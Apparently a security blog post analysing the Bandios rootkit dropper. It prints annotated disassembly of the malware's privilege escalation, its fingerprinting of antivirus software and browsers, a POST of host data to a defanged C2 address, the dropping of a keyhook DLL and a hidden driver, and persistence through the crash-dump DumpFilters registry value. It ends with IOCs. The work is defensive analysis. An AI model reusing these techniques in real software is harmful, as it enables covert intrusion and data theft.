Malware Analysis – Bandios – Part 1

Posted by

For a long time, I have wanted to analyze a rootkit. Especially, after watching the first episode of Mr. Robot Season 1. For this purpose, I picked up a Bandios rootkit sample from This sample has an intricate control flow and I’ve divided the overall analysis into a five three-part article. In this article, I’ll be focusing only on the static and code analysis of the Bandios dropper malware.

Note 1: Ensure you have the malware sample placed in a safe environment (preferably, a malware analysis lab setup) before starting analysis.

Note 2: Memory addresses mentioned in this article are just for reference. They may be different on your machine.

Hashes for the sample:

  • MD5: 4b042bfd9c11ab6a3fb78fa5c34f55d0
  • SHA256: 59c662a5207c6806046205348b22ee45da3f685fe022556716dbbd6643e61834


Static Analysis


The sample is 32-bit and had a compilation timestamp of Wed Mar 21 08:57:55 2018 as seen in PeStudio. It was compiled with Microsoft Visual C/C++(2013) as seen in Detect-It-Easy.

Interesting Imports

  • OpenProcessToken, LookupPrivilegeValueW, AdjustTokenPrivileges
    • Binary may be using additional privileges.
  • OpenSCManagerW, CreateServiceW, StartServiceW
    • Binary may be installing / starting services.
  • RegSetValueExW, RegOpenKeyExA
    • Binary may be making changes to the Windows Registry.

There are more imports which are not used by the dropper but by the files it drops, so I’ll mention them in the respective analysis articles.

Requires Admin Privileges

The PE Manifest file suggests that the sample requires admin privileges to execute.

<requestedPrivileges><requestedExecutionLevel level="requireAdministrator" uiAccess="false"></ requestedExecutionLevel></requestedPrivileges>

Interesting Strings

  • SOFTWARE\Google\Chrome, SOFTWARE\Mozilla\Mozilla Firefox, Software\Apple Computer, Inc.\Safari, Software\Opera Software and more.
    • These suggest that the sample might interact with the above browsers. Maybe it is checking for their existence on the system or hooking into them.
  • \spoolsr.exe, \KeyHook64.dll, \KeyHook32.dll, \drivers\iaStorE.sys
    • These look like names of files that the sample drops.
  • SYSTEM\CurrentControlSet\Control\CrashControl, DumpFilters
    • Crash dump filter drivers like dumpfltr.sys are loaded by crashdmp.sys into the dump stack on system reboot. Ideally, they are used when a system hibernates or initiates a crash dump. This string suggests that the sample might be loading a dump filter driver.
  • -install
    • This might be a command line argument that the sample expects.

Code Analysis

Enables SeDebugPrivilege

SeDebugPrivilege allows a process to inspect and adjust the memory of other processes. Malware use it as a privilege escalation technique. Essentially, it is equivalent to granting LocalSystem account access.

4071A0 lea     eax, [esp+430h+NewState.Privileges]
4071A4 push    eax                                     ; lpLuid
4071A5 push    offset Name                             ; "SeDebugPrivilege"
4071AA push    0                                       ; lpSystemName
4071AC call    ds:LookupPrivilegeValueW 
4071B2 push    0                                       ; ReturnLength
4071B4 push    0                                       ; PreviousState
4071B6 push    0                                       ; BufferLength
4071B8 lea     eax, [esp+43Ch+NewState]
4071BC mov     [esp+43Ch+NewState.PrivilegeCount], 1
4071C4 push    eax                                     ; NewState
4071C5 push    0                                       ; DisableAllPrivileges
4071C7 push    [esp+444h+processTokenHandle]           ; Process Token Handle
4071CB mov     [esp+448h+NewState.Privileges.Attributes], SE_PRIVILEGE_ENABLED
4071D3 call    ds:AdjustTokenPrivileges

Enables SeLoadDriverPrivilege

SeLoadDriverPrivilege is required for a process to load device drivers on the system. If a malware uses this privilege, I expect it to load a device driver sometime in its lifetime.

407202 lea     eax, [esp+430h+NewState.Privileges]
407206 push    eax                                     ; lpLuid
407207 push    offset aSeloaddriverpr                  ; "SeLoadDriverPrivilege"
40720C push    0                                       ; lpSystemName
40720E call    ds:LookupPrivilegeValueW
407214 push    0                                       ; ReturnLength
407216 push    0                                       ; PreviousState
407218 push    0                                       ; BufferLength
40721A lea     eax, [esp+43Ch+NewState]
40721E mov     [esp+43Ch+NewState.PrivilegeCount], 1
407226 push    eax                                     ; NewState
407227 push    0                                       ; DisableAllPrivileges
407229 push    [esp+444h+processTokenHandle]           ; Process Token Handle
40722D mov  [  esp+448h+NewState.Privileges.Attributes], SE_PRIVILEGE_ENABLED
407235 call    ds:AdjustTokenPrivileges

Command Line Argument-based Control Flow

The malware control flow forks based on the command line argument, -install.

40727F call    ds:GetCommandLineW
407285 mov     esi, eax
407287 lea     eax, [esp+430h+fullPathOfFile]
40728B push    260
407290 push    eax
407291 push    0
407293 call    ds:GetModuleFileNameW
407299 lea     eax, [esp+430h+fullPathOfFile]         ; full path of malware sample 
40729D push    eax
40729E lea     eax, [esp+434h+Dest]
4072A5 push    offset Format                          ; "%s -install"
4072AA push    eax
4072AB call    __swprintf
4072B0 add     esp, 0Ch
4072B3 lea     eax, [esp+430h+Dest]
4072BA push    eax                                    ; expected command line string
4072BB push    esi                                    ; actual command line string
4072BC call    __wcsicmp

Command Line String: -install Not Given

Copies Itself to Temp Directory

If the -install argument is not provided, the sample copies itself to C:\Users\<user>\AppData\Local\Temp\OnlineInstaller.tmp.

407005 lea     eax, [ebp-210h]
40700B push    eax             ; lpBuffer
40700C push    104h            ; nBufferLength
407011 call    ds:GetTempPathW ; C:\Users\<user>\AppData\Local\Temp
407085 lea     eax, [ebp-210h]
40708B push    0               ; bFailIfExists
40708D push    eax             ; "C:\Users\<user>\AppData\Local\Temp\
                               ; OnlineInstaller.tmp"
40708E lea     eax, [ebp-418h]
407094 push    eax             ; "C:\Users\A\Desktop\OnlineInstaller.bin\
                               ; OnlineInstaller.exe"
407095 call    ds:CopyFileW

Launch OnlineInstaller.tmp With -install Command Line Argument

The sample launches the copied file, OnlineInstaller.tmp with the -install command line argument.

4070EA lea     eax, [ebp-640h]
4070FB push    eax             ; lpProcessInformation
4070FC lea     eax, [ebp-688h]
407102 push    eax             ; lpStartupInfo
407103 push    0               ; lpCurrentDirectory
407105 push    0               ; lpEnvironment
407107 push    0               ; dwCreationFlags
407109 push    1               ; bInheritHandles
40710B push    0               ; lpThreadAttributes
40710D push    0               ; lpProcessAttributes
40710F lea     eax, [ebp-210h]
407115 push    eax             ; "C:\Users\A\AppData\Local\Temp\OnlineInstaller.tmp
                               ; -install"
407116 push    0               ; lpApplicationName
407118 call    ds:CreateProcessW

Starts Thread

The primary purpose of the thread is to send information about the system to C2. This information includes:

  • Windows OS version
  • Installed browsers
  • Anti-Viruses
  • MAC address
  • Locale
4079E6 push    0                   ; lpName
4079E8 push    0                   ; bInitialState
4079EA push    1                   ; bManualReset
4079EC push    0                   ; lpEventAttributes
4079EE mov     [ebp+ThreadId], 0
4079F5 call    ds:CreateEventW
4079FB mov     esi, eax
4079FD lea     eax, [ebp+ThreadId]
407A00 push    eax                 ; lpThreadId
407A01 push    0                   ; dwCreationFlags
407A03 push    esi                 ; lpParameter
407A04 push    offset StartAddress ; lpStartAddress
407A09 push    0                   ; dwStackSize
407A0B push    0                   ; lpThreadAttributes
407A0D call    ds:CreateThread
4079CF push    eax                 ; hEvent
4079D0 call    ds:SetEvent

Thread Activities

Identifies Windows OS

The function at address, 0x404C60 identifies the Windows OS version. I’m using Windows 7, so this function detects it as Windows 7 7601.

Control Flow Snippet that Determines Windows OS Version
Check Existence of Browsers

The function at address, 0x4052E0 checks for browsers that are installed on the system using Windows Registry keys. This is not a reliable method. On my analysis machine, I have both Chrome and Firefox but do not have those Windows Registry keys that the sample checks for.

Checking for Browsers through Registry Values

The sample checks for the existence of the following browsers:

  • Google Chrome
  • Mozilla Firefox
  • Apple Safari
  • Opera
  • TheWorld(3-14)
  • 360se(3-14)
  • 360 Chrome
  • QQBrowser
  • SogouExplorer
  • BaiduBrowser
  • Maxthon(1-9)
  • UCBrowser
  • 2345Explorer
  • Liebao
Check Existence of Anti-Viruses

The function at address, 0x405060 checks for Anti-Virus (AV) softwares that are installed on the system using Windows Registry keys.

Checking for AV through Registry Values

The sample checks for the existence of the following AV software:

  • Webroot
  • F-Secure
  • Bitdefender Agent
  • Emsisoft
  • TrendMicro
  • McAfee
  • Norton
  • KasperskyLab
  • AVAST Software
  • Avira
  • ESET
  • Baidu Security
  • 360 Total Security
  • 360 Safe
  • Microsoft Windows Defender
Find the Characteristics of the Required Network Interface

The sample looks for a network interface having GUID, {2FB6A9F4-5A46-4094-9956-16A94BEADF55}. To this end, it loops through each network interface, finds its NetCfgInstanceId and compares it to the required interface GUID. In my case, the interface matched the GUID. In my opinion, the sample may be checking for an interface that has an internet connection. In my case, this interface is connected to a Kali machine which impersonates services using INetSim.

405BF9 lea     eax, [ebp+registryKeyHandle]
405BFF push    eax                 ; phkResult
405C00 push    KEY_READ            ; samDesired
405C05 push    0                   ; ulOptions
405C07 push    offset SubKey       ; "SYSTEM\CurrentControlSet\Control\Class\
                                   ; {4D36E972-E325-11CE-BFC1-08002bE10318}"
405C0C push    HKEY_LOCAL_MACHINE  ; hKey
405C11 call    ds:RegOpenKeyExW
405C37 push    0                   ; lpftLastWriteTime
405C39 push    0                   ; lpcbSecurityDescriptor
405C3B push    0                   ; lpcbMaxValueLen
405C3D push    0                   ; lpcbMaxValueNameLen
405C3F push    0                   ; lpcValues
405C41 push    0                   ; lpcbMaxClassLen
405C50 mov     ecx, [ebp+registryKeyHandle]
405C56 push    eax                 ; lpcbMaxSubKeyLen
405C57 lea     eax, [ebp+numSubKeys]
405C5F push    eax                 ; lpcSubKeys
405C60 push    0                   ; lpReserved
405C62 push    0                   ; lpcchClass
405C64 push    0                   ; lpClass
405C66 push    ecx                 ; hKey
405C67 call    ds:RegQueryInfoKeyW
405CA6 push    0                   ; lpftLastWriteTime
405CA8 push    0                   ; lpcchClass
405CAA push    0                   ; lpClass
405CB4 lea     eax, [ebp+cchName]
405CBA push    0                   ; lpReserved
405CBC push    eax                 ; lpcchName
405CBD lea     eax, [ebp+Name]
405CC0 push    eax                 ; lpName
405CC1 push    esi                 ; dwIndex
405CC2 push    dword ptr [edi]     ; hKey
405CC4 call    ebx                 ; RegEnumKeyExW
405D07 call    ReturnNetCfgInstanceId
405D0C push    [ebp+var_448]
405D12 lea     eax, [ebp+var_434]
405D18 push    eax
405D19 call    __wcsicmp

Characteristics of

Network Interface Registry Sub Keys

It queries the sub key, Characteristics of the interface. If unavailable, it moves a string BL7t into memory.

405AF6 lea     eax, [ebp+registryKeyHandle]
405AF9 mov     [ebp+registryKeyHandle], 0
405B00 push    eax             ; phkResult
405B01 push    KEY_READ        ; samDesired
405B06 push    0               ; ulOptions
405B08 push    edx             ; "SYSTEM\CurrentControlSet\Control\Class\
                               ; {4D36E972-E325-11CE-BFC1-08002bE10318}\0007"
405B09 push    HKEY_LOCAL_MACHINE ; hKey
405B0E mov     dword ptr [ebp+Data], 't7LB'
405B15 mov     [ebp+cbData], 4
405B1C call    ds:RegOpenKeyExW
405B26 lea     eax, [ebp+cbData]
405B29 push    eax             ; lpcbData
405B2A lea     eax, [ebp+Data] ; Load Effective Address
405B2D push    eax             ; lpData
405B2E push    0               ; lpType
405B30 push    0               ; lpReserved
405B32 push    offset aCharacteristic ; "Characteristics"
405B37 push    [ebp+registryKeyHandle] ; hKey
405B3A call    ds:RegQueryValueExW
405B40 mov     ecx, dword ptr [ebp+Data]
405B43 test    eax, eax
405B45 mov     edx, 't7LB'
405B4A cmovnz  ecx, edx        ; Move if Not Zero (ZF=0)
405B4D mov     dword ptr [ebp+Data], ecx
Check Interface MAC Address

005345000000 MAC address seems to be some kind of a well-known unused MAC address. I’m not sure, but the sample doesn’t want to see that MAC address on the interface. If it does not find the unwanted MAC address, it stores the MAC address of the interface in memory.

405DC1 lea     eax, [ebp+var_20C]
405DC7 push    offset a02x02x02x02x02 ; "%02X%02X%02X%02X%02X%02X"
405DCC push    eax
405DCD call    MoveStrIntoMem
405DD2 lea     eax, [ebp+var_20C]
405DD8 push    offset a005345000000 ; "005345000000"
405DDD push    eax                  ; "000C291DC6CA"
405DDE call    __wcsicmp
405DE6 mov     ecx, 1
405DEB test    eax, eax
405DED cmovz   edi, ecx        ; Move if Zero (ZF=1)
405DF3 mov     eax, edi
405F5A movzx   eax, byte ptr [esi+199h]
405F61 push    eax
405F62 movzx   eax, byte ptr [esi+198h]
405F69 push    eax
405F6A movzx   eax, byte ptr [esi+197h]
405F71 push    eax
405F72 movzx   eax, byte ptr [esi+196h]
405F79 push    eax
405F7A movzx   eax, byte ptr [esi+195h]
405F81 push    eax
405F82 movzx   eax, byte ptr [esi+194h]
405F89 push    eax                      ; "00-0C-29-1D-C6-CA"
405F8A push    offset a02x02x02x02x02_0 ; "%02X-%02X-%02X-%02X-%02X-%02X"
405F8F push    ebx
405F90 call    _sprintf
Get Locale

The sample finds the locale of the infected system through a giant switch table.

405FE3 call    ds:GetSystemDefaultLangID
405FE9 movzx   eax, ax         ; eax = 0x0409 (US)
405FEC cmp     eax, 801h       ; 0x0801 (Iraq)
Switch Table to Determine Locale
Construct System-Identifying Information String In Memory

The string, "ua=00-0C-29-1D-C6-CA&get=BS&lang=U.S&region=10&referrer=unknow&os=Windows7 7601 x64&browser=IExplorer" is constructed in memory.

4016F8 push    offset hardcodedString1          ; "ua="
401716 call    MoveArgIntoMem1 ;
40174A lea     eax, [esp+208h+var_158]
401751 push    eax                              ; "00-0C-29-1D-C6-CA"
401756 call    ConstructStringInMemory
40175D push    offset aGet                      ; "&get="
401766 call    ConstructStringInMemory
40176D push    offset aBs                       ; "BS"
401776 call    ConstructStringInMemory
40177D push    offset aLang                     ; "&lang="
401786 call    ConstructStringInMemory
4017AA lea     eax, [esp+208h+var_1B8]
4017AE push    eax                              ; "U.S"
4017B3 call    ConstructStringInMemory
4017BA push    offset aRegion                   ; "&region="
4017C3 call    ConstructStringInMemory
4017CA push    offset a10                       ; "10"
4017D3 call    ConstructStringInMemory
4017DA push    offset aReferrer                 ; "&referrer="
4017E3 call    ConstructStringInMemory
40180A lea     eax, [esp+208h+var_118]
401811 push    eax                              ; "unknow"
401816 call    ConstructStringInMemory
40181D push    offset aOs                       ; "&os="
401826 call    ConstructStringInMemory
40184A lea     eax, [esp+208h+windowsOS]
40184E push    eax                              ; "Windows7 7601 x64 
401853 call    ConstructStringInMemory
40185A push    offset aBrowser                  ; "&browser="
401863 call    ConstructStringInMemory
40188A lea     eax, [esp+208h+var_98]
401891 push    eax                              ; "IExplorer"
401896 call    ConstructStringInMemory
Connect to C2

The sample uses a user-agent, "DoPost".

401983 movdqu  xmm0, ds:strContentType
401991 xor     edi, edi
401999 push    edi                                ; dwFlags
40199A movdqu  xmmword ptr [ebp+szHeaders], xmm0
40199F push    edi                                ; lpszProxyBypass
4019A0 movdqu  xmm0, ds:strApplicationXWww
4019A8 push    edi                                ; lpszProxy
4019A9 push    INTERNET_OPEN_TYPE_DIRECT          ; dwAccessType
4019AB movdqu  [ebp+var_24], xmm0
4019B0 push    offset szAgent                     ; "DoPost"
4019B5 movdqu  xmm0, ds:strFormUrlEncoded
4019BF movdqu  [ebp+var_14], xmm0
4019C4 call    ds:InternetOpenA

It sends an encoded message through POST to a remote resource, iostream[.]system[.]band/dump/io/time[.]php on port 80. I don’t know the exact contents of this payload, but considering the strings that were constructed earlier this message likely contains system-identifying information – OS, browser, locale, etc.

401991 xor     edi, edi
4019D4 push    edi                    ; dwContext
4019D5 push    edi                    ; dwFlags
4019D6 push    INTERNET_SERVICE_HTTP  ; dwService
4019D8 push    edi                    ; lpszPassword
4019D9 push    edi                    ; lpszUserName
4019DA push    80                     ; nServerPort
4019DC push    offset szServerName    ; ""
4019E1 push    ebx                    ; hInternet
4019E2 call    ds:InternetConnectA
4019F6 push    1                                   ; dwContext
4019F8 push    INTERNET_FLAG_NO_CACHE_WRITE        ; dwFlags
4019FD push    edi                                 ; lplpszAcceptTypes
4019FE push    edi                                 ; lpszReferrer
4019FF push    offset szVersion                    ; "HTTP/1.0"
401A04 push    offset szObjectName                 ; "/dump/io/time.php"
401A09 push    offset szVerb                       ; "POST"
401A0E push    eax                                 ; hConnect
401A0F call    ds:HttpOpenRequestA
401A1F mov     esi, [ebp+lpOptional]
401A52 lea     eax, [ebp+szHeaders]
401A55 push    ecx             ; dwOptionalLength
401A56 push    esi             ; "6F2B33CEUhhPuwGELSm6is63zAOOuV5iH2qUiJaDxioCk
                               ;  3x02mADS6/RFKl5v9K0zcqlhlaqxWRfRb1B+pCua7Pk7Q
                               ;  aU7VWAs0ljLPUCmRki1gHlKLjFbt0elZt8fMuLULXOppr
                               ;  p7w4PIYEOWuA42Ns6TN6a0T=="
401A57 push    edx             ; dwHeadersLength
401A58 push    eax             ; "Content-Type: application/x-www-form-urlencoded"
401A59 push    edi             ; hRequest
401A5A call    ds:HttpSendRequestA
401A83 mov     [ebp+dwBufferLength], 100000h
401A8D lea     eax, [ebp+dwBufferLength]
401A93 push    0                      ; lpdwIndex
401A95 push    eax                    ; lpdwBufferLength
401A96 lea     eax, [ebp+httpStatusCode]      ; Load Effective Address
401A9C push    eax                    ; lpBuffer (Receives 200)
401A9D push    HTTP_QUERY_STATUS_CODE ; dwInfoLevel
401A9F push    edi                    ; hRequest
401AA0 call    ds:HttpQueryInfoA
Wireshark Packet Capture
TCP Stream – Data Exfiltration

Command Line Argument: -install

Disables Redirection to SysWow64 (AMD64 and IA64 only)

For AMD64 and IA64 processor architectures, system32 redirection is first disabled. (By default, 32-bit programs on x64 leverage SysWOW64.) The sample uses this technique to drop files into system32 instead of SysWOW64 for AMD64 and IA64 processor architectures. My analysis machine is AMD64, so the sample was dropping files into system32 and the below content reflects that perspective.

Wow64DisableWow64FsRedirection disables automatic redirecton of 32-bit processes from “Windows\system32” to “Windows\SysWOW64”. Use this method when you need to launch 64-bit process from 32-bit process.
408395 lea     eax, [ebp+SystemInfo]
40839B push    eax                              ; lpSystemInfo
40839C call    ds:GetNativeSystemInfo
4083A2 mov     ax, word ptr [ebp+SystemInfo.anonymous_0]
4083AD jz      loc_408443
4083B7 jz      loc_408443
408443 mov     eax, addrWow64DisableWow64FsRedirection
408448 mov     edi, ds:GetModuleHandleW
40845C push    offset ModuleName                ; "Kernel32.dll"
408461 call    edi                              ; "GetModuleHandleW"
408467 push    offset aWow64disablewo           ; "Wow64DisableWow64FsRedirection"
40846C push    eax                              ; hModule
40846D call    ebx                              ; GetProcAddress
40846F mov     addrWow64DisableWow64FsRedirection, eax
40847B mov     [ebp+var_418], 0
408489 lea     ecx, [ebp+var_418]
40848F push    ecx
408490 call    eax                              ; addrWow64DisableWow64FsRedirection

XOR decode In Memory

The sample decodes 1.3 MB of xor-encoded values in memory. The key used is 0xDD.

407C80 xor     xorCodedSpoolSr[eax], 0DDh
407C87 inc     eax
407C88 cmp     eax, 1323984
407C8D jb      short loc_407C80
spoolsr.exe Contents in Memory

Write to spoolsr.exe

The above xor-decoded data is written to "C:\Windows\system32\spoolsr.exe". A total of 0x143410 bytes is written to the file.

407B15 push    0
407B17 push    FILE_ATTRIBUTE_NORMAL    ; dwFlagsAndAttributes
407B1C push    CREATE_NEW               ; dwCreationDisposition
407B1E push    0                        ; lpSecurityAttributes
407B20 push    FILE_SHARE_READ          ; dwShareMode
407B22 push    GENERIC_ALL              ; dwDesiredAccess
407B27 push    eax                      ; lpFileName
407B28 call    ds:CreateFileW
407B2E mov     esi, eax
407B35 push    0                           ; lpOverlapped
407B37 lea     eax, [ebp+NumberOfBytesWritten]
407B3A push    eax                         ; lpNumberOfBytesWritten
407B3B push    [ebp+nNumberOfBytesToWrite] ; nNumberOfBytesToWrite
407B3E push    [ebp+xorSpoolSrExe]         ; lpBuffer
407B41 push    esi                         ; hFile
407B42 call    ds:WriteFile  

The original xor-encoded data (0x143410 bytes) is written to C:\Windows\system32\MS.dat

407CF0 xor     byte ptr [eax+edi], 0DDh   ; xor-decoded exe is xor'd again
407CF4 inc     eax
407CF5 cmp     eax, esi
407CF7 jb      short loc_407CF0
407CFC lea     ecx, [ebp+FileName]        ; C:\Windows\system32\MS.dat 
407D02 call    WriteToFile  

Write to KeyHook64.dll

C:\Windows\system32\KeyHook64.dll is written to for AMD64 and IA64 processor architectures. For all others, data is written to C:\Windows\system32\KeyHook32.dll. Like the EXE write algorithm, the DLL is xor-decoded using 0xDD as key and a total of 0x8AB20 bytes is written to KeyHook64.dll. The original xor-encoded data is written to C:\Windows\system32\KH.dat.

407F70 xor     xorCodedKeyHook64Dll[eax], 0DDh
407F77 inc     eax
407F78 cmp     eax, 568032
407FE8 lea     ecx, [ebp+FileName] ; C:\Windows\system32\KeyHook64.dll
407FFE push    esi                 ; 0x8AB20
407FFF call    WriteToFile
40807F lea     ecx, [ebp+FileName] ; C:\Windows\system32\KH.dat
408085 push    esi                 ; 0x8AB20 
408086 call    WriteToFile  

Write to usp20.dll

The sample writes 0xA520 bytes to C:\Windows\system32\usp20.dll. The original xor-encoded data (0xA520 bytes) is written to C:\Windows\system32\UP.dat.

40808B mov     edi, [ebp+xorCodedUsp20Dll]
408094 xor     eax, eax
408096 xor     byte ptr [eax+edi], 0DDh
40809A inc     eax
40809B cmp     eax, ebx                 ; ebx = 0xA4E0
408122 lea     ecx, [ebp+var_494]       ; C:\Windows\system32\usp20.dll
408128 push    ebx                      ; ebx = 0xA520
408129 call    WriteToFile
4081A2 lea     ecx, [ebp+var_494]       ; C:\Windows\system32\UP.dat
4081A8 push    ebx                      ; ebx = 0xA520 
4081A9 call    WriteToFile  
usp20.dll Data in Memory

Write to iaStorE.sys

The sample creates and writes to a hidden file, C:\Windows\system32\drivers\iaStorE.sys. A total of 0x4658 bytes are written to it.

40849C push    offset Type        ; "KPE"
4084A1 push    6Eh                ; lpName
4084A3 push    0                  ; hModule
4084A5 call    ds:FindResourceW
4084AB mov     esi, eax
4084B1 push    esi                      ; hResInfo
4084B2 push    0                        ; hModule
4084B4 call    ds:LoadResource
4084BA mov     [ebp+resourceHandle], eax
4084C4 push    esi                      ; hResInfo
4084C5 push    0                        ; hModule
4084C7 call    ds:SizeofResource
4084CD push    [ebp+resourceHandle]     ; hResData
4084D3 mov     esi, eax
4084D5 call    ds:LockResource
407A55 xor     edi, edi
407A8A push    edi                   ; hTemplateFile
407A8B push    FILE_ATTRIBUTE_HIDDEN ; dwFlagsAndAttributes
407A8D push    CREATE_ALWAYS         ; dwCreationDisposition
407A8F push    edi                   ; lpSecurityAttributes
407A90 push    edi                   ; dwShareMode
407A91 push    FILE_ALL_ACCESS       ; dwDesiredAccess
407A96 push    [ebp+fileName]        ; "C:\Windows\system32\drivers\iaStorE.sys"
407A99 call    ds:CreateFileW  
407AA6 push    edi             ; dwMoveMethod
407AA7 push    edi             ; lpDistanceToMoveHigh
407AA8 push    edi             ; lDistanceToMove
407AA9 push    esi             ; hFile
407AAA call    ds:SetFilePointer
407AB0 push    edi                            ; lpOverlapped
407AB1 lea     eax, [ebp+NumberOfBytesWritten]
407AB4 push    eax                            ; lpNumberOfBytesWritten
407AB5 push    [ebp+nNumberOfBytesToWrite]    ; nNumberOfBytesToWrite
407AB8 push    ebx                            ; lpBuffer
407AB9 push    esi                            ; hFile
407ABA call    ds:WriteFile  
iaStorE.sys Driver Data in Memory

Enable Redirection to SysWow64

4084FF push offset ModuleName                    ; "Kernel32.dll"
408504 call edi                                  ; GetModuleHandleW
40850A push offset aWow64revertwow               ; "Wow64RevertWow64FsRedirection"
40850F push eax
408510 call ebx                                  ; GetProcAddress
408512 mov addrWow64RevertWow64FsRedirection, eax
408523 call eax                                  ; addrWow64RevertWow64FsRedirection

Set iaStorE.sys Value for DumpFilters Sub Key in Windows Registry

The sample modifies the Windows Registry only for the following machines:

  • AMD64 and IA64
  • Non-AMD64 and Non-IA64 that are Windows Vista+

Sets the value, "dumpfve.sys iaStorE.sys" to Windows Registry key, "HKLM\SYSTEM\CurrentControlSet\Control\CrashControl\DumpFilters". This causes the OS to load the malicious device driver, iaStorE.sys on reboot.

4081E0 lea     eax, [ebp+keyHandle]
4081E3 mov     [ebp+keyHandle], 0
4081EA push    eax             ; phkResult
4081EB push    offset strCrashControlRegKey ; "SYSTEM\CurrentControlSet\Control\
                                            ; CrashControl"
4081F0 push    HKEY_LOCAL_MACHINE ; hKey
40824F call    ds:RegOpenKeyW
408259 push    32h                 ; cbData
40825B lea     eax, [ebp+Data]     ; "dumpfve.sys iaStorE.sys"
40825E push    eax                 ; lpData
40825F push    REG_MULTI_SZ        ; dwType
408261 push    0                   ; Reserved
408263 push    offset aDumpfilters ; "DumpFilters"
408268 push    [ebp+keyHandle]     ; hKey
40826B call    ds:RegSetValueExW
Modified DumpFilters Sub Key

Create Service (Non-AMD64 / Non-IA64 Windows XP)

The sample creates a service named, iaStorE only for Windows XP machines that are Non-AMD64 and Non-IA64.

4051F6 xor     ebx, ebx
405234 push    ebx                              ; lpPassword
405235 push    ebx                              ; lpServiceStartName
405236 push    offset Dependencies              ; "FltMgr"
40523B push    ebx                              ; lpdwTagId
40523C push    offset LoadOrderGroup            ; "FSFilter Activity Monitor"
405241 lea     eax, [ebp+iaStorEFileFullPath]
405247 push    eax                              ; lpBinaryPathName
405248 push    ebx                              ; dwErrorControl
405249 push    SERVICE_SYSTEM_START             ; dwStartType
40524B push    SERVICE_FILE_SYSTEM_DRIVER       ; dwServiceType
40524D push    SERVICE_ALL_ACCESS               ; dwDesiredAccess
405252 push    offset DisplayName               ; "iaStorE"
405257 push    offset DisplayName               ; "iaStorE"
40525C push    edi                              ; hSCManager
40525D call    ds:CreateServiceW
405263 mov     esi, eax
405279 push    0                      ; lpServiceArgVectors
40527B push    0                      ; dwNumServiceArgs
40527D push    esi                    ; hService
40527E call    ds:StartServiceW

Trivial Mutation Per Execution

On each execution, the hashes of the dropped files change due to added junk data at the end of the dropped files. This causes the hash of the PE files to change but the functionality remains the same.

VBinDiff of KeyHook64.dll and mutated KeyHook64.dll
VBinDiff of spoolsr.exe and mutated spoolsr.exe


The below IOCs are specific to a mutation. Except the network indicator and YARA rule set, the others might be useless.


OnlineInstaller.exe (Dropper)

  • MD5: 4b042bfd9c11ab6a3fb78fa5c34f55d0
  • SHA256: 59c662a5207c6806046205348b22ee45da3f685fe022556716dbbd6643e61834


  • MD5: 2ce3df3624562f83e2943d0303d043c0
  • SHA256: 7654630bee4d1551790dc3802bd8ba3baa3fa146b2916f02f21ea755d61a55d1


  • MD5: eb822c758c1562fa290f187feaaba994
  • SHA256: 1c750ba38b8359783c3280ea5f8bf40eb87bad92f8719227cc14ec8b910c60be


  • MD5: 9b276a5e9876bda368028b883a2e7e61
  • SHA256: 68494f7916d52ae660140dfc1d784c6bd856761529179e8808077d9ceb40b002


  • MD5: 3bd2572b9c45525eda5812a046156473
  • SHA256: ad93c232581b4ed1a644b8658bf058d78ff4c5f527c33944b1c3978a80ac6953


  • MD5: e2a3f52b025a69f88847e376f11e18a7
  • SHA256: 423c3435266f416f8934220394ba6fe22c7f5a3303d20eee399bc127fd0cbc58


  • MD5: aed2101fb222b007676828dc012c31d1
  • SHA256: cd2c45dbbec82229da0c369cb00aa8fb372735f4d531ed290314aac5bae2225e
  • MD5: 21756ea2333eb25db2d21c75ee4a5777
  • SHA256: 9cc53a624a387e4dec022cb679bf19cd3593b24aef1dff8d4b2e94c5ff62bc7b


  • MD5: a567cc55125c881ca62fe4f93672884f
  • SHA256: f8e0e1db8f67bba2d77d891cd611e73d43eb79d1c6fcd90d925f9ea552fb00d5


  • MD5: e9ee4d8441ec655983eff16410f09a7f
  • SHA256: b3e9cefcae58ac6e43bdc7577fbbec637bbf8856b6d79bda94a9ee020d341604



YARA Rule Set

(WordPress doesn’t allow uploading .yar files, so I’ve renamed the extension to .yar.txt)


ExecutionUser ExecutionRequires user to grant admin privileges on execution.
PersistenceHidden Files and Directories, Kernel Modules and Extensions, New Service, Creates hidden iaStorE.sys file, modifies Registry to set crash dump filter driver, iaStorE.sys, creates service that loads driver, iaStorE.sys during OS initialization.
Privilege EscalationAccess Token ManipulationManipulates token to gain SeDebugPrivilege and SeLoadDriverPrivilege.
Defense EvasionBinary Padding, Deobfuscate/Decode Files or Information, Hidden Files and Directories, Modify Registry, Obfuscated Files or Information, RootkitAppends junk data to dropped files, drops .dat files that are single-key xor-encoded, creates hidden iaStorE.sys file, modifies Registry to set crash dump filter driver, iaStorE.sys
DiscoveryQuery Registry, Security Software Discovery, System Information Discovery, System Network Configuration DiscoveryQueries Registry to find installed browsers and AVs, determines MAC address, network interface, locale, Windows OS version
Command and ControlCommonly Used Port, Standard Application Layer ProtocolCommunicates with C2 over HTTP on port 80
ExfiltrationData EncryptedHTTP payload is encoded


The dropper malware requires admin privileges to execute. It escalates privileges by obtaining SeDebugPrivilege and SeLoadDriverPrivilege. The control flow is different based on the command line argument, -install and the system type (processor architecture and Windows OS version). If the command line argument is not provided, it copies itself to another location and executes itself with the command line argument. It then determines various system information – Windows OS version, browsers, AVs, locale, MAC address – and POSTs it to its C2. If the command line argument is provided, it drops multiple DLLs and a device driver file in system32 directory. Based on the system type, it either creates a service or modifies the value of a Registry sub key to load a crash dump filter driver on reboot.

Thanks for reading!

In this article (1/5) (1/3), I described my analysis for the Bandios rootkit dropper. In the next part, I’ll analyze the device driver file, iaStorE.sys.

Thank you for reading! If you have any questions, leave them in the comments section below and I’ll get back to you as soon as I can!

Feature image credits:

Leave a Reply

Your email address will not be published.